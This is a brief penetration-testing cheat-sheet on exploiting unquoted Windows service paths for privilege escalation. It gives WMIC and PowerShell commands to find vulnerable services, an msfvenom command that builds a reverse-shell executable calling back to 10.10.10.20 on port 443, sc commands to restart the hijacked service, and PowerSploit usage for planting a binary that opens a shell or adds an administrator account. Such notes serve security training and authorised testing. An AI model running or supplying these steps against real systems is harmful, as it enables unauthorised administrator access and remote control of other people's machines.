# Unquoted Service Path

### Search for Unquoted Path

The following command will search for all the paths except **"C:\windows"** since a normal user will not have executable permissions on this folder. 

```
##  Windows Management Instrumentation Command-Line (WMIC)  ##
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

##  WMI (Powershell) ##
Get-WmiObject win32_service | select Name,PathName,StartMode,StartName | where {$_.StartMode -ne "Disabled" -and $_.StartName -eq "LocalSystem" -and $_.PathName -notmatch "`"" -and $_.PathName -notmatch "C:\\Windows"} | Format-List
```

If a service is found with unquoted path check the permissions of the service with **icacls.** If we have permissions on any of the folders that leads to the executable then we can escalate our privileges. 

### Create an executable msfvenom payload 

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.20 LPORT=443 -f exe > /root/same_service_name_as_above.exe
```

###  Replace and restart service. 

```
sc stop service_name
sc start service_name
```

### Powersploit

Within powershell run the following. 

```
# Find them
Get-ServiceUnquoted

# Execure a reverse shell or adding new user as administrator.
Write-ServiceBinary -name "Service_Name" -Path "C:\Service_name.exe"
```


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